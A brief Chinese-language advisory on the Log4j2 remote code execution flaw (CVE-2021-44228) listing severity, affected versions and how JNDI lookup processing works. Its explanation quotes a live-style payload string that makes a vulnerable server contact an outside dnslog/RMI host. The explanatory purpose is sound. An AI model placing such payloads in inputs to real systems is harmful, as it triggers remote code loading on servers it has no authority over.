漏洞信息
漏洞名称 | Apache Log4j2远程代码执行漏洞 |
---|---|
漏洞编号 | CVE-2021-44228 |
危害等级 | 高危 |
CVSS评分 | 10.0 |
漏洞类型 | 日志框架漏洞 |
漏洞厂商 | Apache |
漏洞组件 | Apache Log4j2 |
受影响版本 | Log4j 2.x <= 2.15.0-rc1 |
漏洞概述 | Apache Log4j2是一款使用非常广泛的Java日志框架。2021年12月9日,Apache Log4j2爆出存在远程代码执行漏洞,由于Apache Log4j2广泛地应用在各种Web程序中,该漏洞涉及用户量较大,危害性非常之高,漏洞影响版本为2.0~2.14.1。 |
漏洞原理
-
当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中,假如日志中含有该语句${jndi:rmi://4rujx1.dnslog.cn/bug},log4j就会去解析该信息。
-
通过jndi的lookup()方法去解析该URL:jndi:rmi://4rujx1.dnslog.cn/bug,解析到rmi,就会去4rujx1.dnslog.cn的rmi服务找名为bug的资源,如果找不到就会去http服务中找。
-
在http中找到shell之后,就会将资源信息返回给应用程序